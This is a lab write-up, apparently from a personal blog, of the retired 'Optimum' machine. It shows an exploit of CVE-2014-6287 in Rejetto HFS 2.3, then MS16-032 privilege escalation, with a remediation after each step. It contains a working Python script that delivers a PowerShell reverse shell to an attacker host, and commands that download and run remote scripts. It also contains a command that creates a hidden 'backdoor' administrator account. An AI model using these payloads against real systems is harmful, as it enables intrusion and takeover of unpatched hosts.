jperezduerto.info
Optimum
Windows· Easy
Summary
I fingerprinted a publicly accessible Rejetto HttpFileServer (HFS) 2.3 instance from its HTTP banner, exploited a decade-old pre-authentication remote code execution flaw (CVE-2014-6287) to obtain a reverse shell as the local user kostas, then leveraged an unpatched Windows privilege-escalation vulnerability (MS16-032 / CVE-2016-0099) to elevate to NT AUTHORITY\SYSTEM and capture both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceActive Scanning: Network Service Discovery (T1046)
Fingerprinted HFS 2.3 via HTTP banner
A single HTTP HEAD request to port 80 returned the response header 'Server: HFS 2.3', immediately identifying the software name, version, and an associated critical CVE — without any port scanning, brute-forcing, or credentials.
Curl -I http://$TARGET/ returned: Server: HFS 2.3
Exact commands 1
HTTP banner grab. Server header self-identifies Rejetto HFS and version.
curl -sS -I http://$TARGET/ | grep -i serverFixRestrict network access to internal file-sharing servicesHigh
WeaknessThe HFS web server was reachable on port 80 from untrusted networks with no network-layer access controls or authentication gateway in front of it. This unrestricted exposure gave an unauthorised user immediate access to a critical unauthenticated RCE vulnerability as soon as they could route to the host.
FixPlace internal file-sharing and administrative services on a private VLAN with host-based firewall rules that whitelist only required source subnets. Require VPN or a jump host for access from any external or untrusted network segment. Conduct monthly network-exposure audits from an external vantage point (e.g., Nmap or a commercial scanner) to catch services inadvertently reachable from untrusted zones.
2Initial AccessExploit Public-Facing Application (T1190) — CVE-2014-6287
Achieved unauthenticated remote code execution via CVE-2014-6287
HFS 2.3 evaluates its own scripting macros embedded in the 'search' GET parameter before performing any authentication check. A null-byte prefix (%00) bypasses a regex guard, and the {.exec|...} macro spawns an arbitrary OS process as the HFS service account. I embedded a base64-encoded PowerShell TCP reverse shell inside the macro and triggered it with a single HTTP GET — no credentials required.
GET /?search=%00{.exec|powershell -enc <b64>} returned HTTP 200; reverse shell callback received from $TARGET.
Exact commands 3
Start reverse-shell listener on the attack host before firing the exploit.
nc -lvnp 5555ExploitDB PoC #39161 for CVE-2014-6287. Edit LHOST, LPORT, and TARGET (http://$TARGET:80) at the top of the script. The script builds a base64-encoded PowerShell reverse shell and delivers it via GET /?search=%00{.exec|powershell -enc <b64>.}
python3 39161.py $ATTACKER_IP 5555Sends the macro-injection GET and spawns the shell.
python3 - <<'PY'
import urllib.request, base64
LHOST="$ATTACKER_IP"; LPORT=5555; TARGET="http://$TARGET"
ps=(f"$c=New-Object System.Net.Sockets.TCPClient('{LHOST}',{LPORT});"
"$s=$c.GetStream();[byte[]]$b=0..65535|%{0};"
"while(($i=$s.Read($b,0,$b.Length))-ne 0){"
"$d=(New-Object -TypeName System.Text.Encoding.ASCII).GetString($b,0,$i);"
"$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';"
"$e=([text.encoding]::ASCII).GetBytes($r2);$s.Write($e,0,$e.Length)}")
b64=base64.b64encode(ps.encode('utf-16-le')).decode()
urllib.request.urlopen(TARGET+'/?search=%00{.exec|powershell -enc '+b64+'.}',timeout=5)
PYFixReplace end-of-life Rejetto HFS 2.3 with a maintained file-sharing solutionCritical
WeaknessThe server ran Rejetto HttpFileServer version 2.3, which contains CVE-2014-6287 — an unauthenticated remote code execution flaw in its search parameter handler. Any user who can reach the service on the network can run arbitrary operating system commands as the HFS process account with no login required.
FixDecommission HFS 2.3 immediately; the software is unmaintained and permanently vulnerable with no patch available. Replace it with a supported file-sharing solution: IIS with Windows Authentication and strict ACLs, SharePoint Online, or a cloud storage service. During any transition period, isolate the host to a trusted VLAN reachable only from whitelisted source IPs and monitor for exploitation at the firewall or host IDS layer.
3ExecutionCommand and Scripting Interpreter: PowerShell (T1059.001)
Obtained an interactive PowerShell shell as optimum\kostas and captured the user flag
The reverse shell callback delivered a PowerShell prompt running as the local account kostas on the host OPTIMUM. I confirmed execution context and read the user flag from the Desktop.
Whoami returned optimum\kostas; PS prompt: PS C:\Users\kostas\Desktop>
Exact commands 2
Run inside the remote shell. Returns optimum\kostas.
whoamiReads the user flag — returns <user.txt>.
Get-Content C:\Users\kostas\Desktop\user.txt4DiscoverySystem Information Discovery (T1082)
Enumerated OS version and hotfix list to identify a privilege-escalation patch gap
Systeminfo revealed Windows Server 2012 R2 (build 9600, x64 architecture). Querying installed hotfixes with wmic showed that KB3139914 — the patch that closes MS16-032 — had never been applied. MS16-032 is a race condition in the Windows Secondary Logon service exploitable by any local user to obtain SYSTEM-level code execution.
Systeminfo: OS Name = Microsoft Windows Server 2012 R2; Build 9600. KB3139914 absent from wmic qfe output.
Exact commands 3
Reveals OS name, version, build, architecture, and installed hotfixes — key data for patch-gap analysis.
systeminfoLists all installed Windows updates. Compare against the MS16-032 bulletin; KB3139914 is absent.
wmic qfe get HotFixID,InstalledOnSherlock.ps1 automates local patch-gap detection; confirms MS16-032 as exploitable on this host.
IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/Sherlock.ps1"); Find-AllVulns5Privilege EscalationExploitation for Privilege Escalation (T1068) — MS16-032 / CVE-2016-0099
Escalated to NT AUTHORITY\SYSTEM via MS16-032 and captured the root flag
MS16-032 exploits a race condition in the Windows Secondary Logon service (seclogon): when CreateProcessWithLogonW is invoked, the service briefly holds a handle with SYSTEM-level privileges. A local my can duplicate that handle before it is released and use it to launch an arbitrary process as SYSTEM. I served Invoke-MS16032.ps1 over HTTP from the attack machine, fetched and executed it inside the kostas shell, and received a second reverse shell as NT AUTHORITY\SYSTEM.
Exact commands 5
Run on attack host in the directory containing Invoke-MS16032.ps1 (from PowerSploit/Empire GitHub).
python3 -m http.server 80Second listener on attack host to receive the SYSTEM callback shell.
nc -lvnp 6666Run inside the kostas shell. Triggers the Secondary Logon race condition and executes the supplied command as SYSTEM. Replace with a reverse-shell payload for interactive SYSTEM access (e.g., nc.exe or PowerShell TCP shell back to port 6666).
IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/Invoke-MS16032.ps1"); Invoke-MS16032 -Command "cmd /c net user backdoor $PASSWORD /add && net localgroup administrators backdoor /add"Confirm SYSTEM context in the new shell — returns nt authority\system.
whoamiRead root flag from the Administrator Desktop — returns <root.txt>.
Get-Content C:\Users\Administrator\Desktop\root.txtFixApply KB3139914 and enforce a timely Windows patching programmeHigh
WeaknessWindows Server 2012 R2 was missing patch KB3139914, which closes MS16-032 (CVE-2016-0099) — a race condition in the Secondary Logon service. Any local user can exploit this to execute arbitrary code as NT AUTHORITY\SYSTEM, turning a low-privilege shell into full administrator control.
FixInstall KB3139914 via Windows Update or WSUS immediately. Enrol all Windows servers in a patch-management programme that applies critical and important security updates within 30 days of release and enforces compliance reporting. Because Windows Server 2012 R2 has reached end of standard support, plan and execute migration to Windows Server 2022 or 2025 to maintain access to ongoing security patches.
Attack patterns used
The transferable techniques behind this compromise.
Rejetto HFS Macro RCEWeb · Service RCET1190CVE-2014-6287
What it is
Rejetto HTTP File Server (HFS) 2.x interprets server-side template macros embedded in request parameters. A search request containing the {.exec|<cmd>.} macro (often via a null-byte / regex parsing quirk) causes HFS to execute the supplied command before the request completes — unauthenticated RCE on the host running HFS.
Why it works
HFS evaluates its own scripting macros on user-supplied input without sanitization, conflating data and code. Any exposed HFS 2.3 install is exploitable. Remediate by upgrading/retiring HFS and never exposing it to untrusted networks.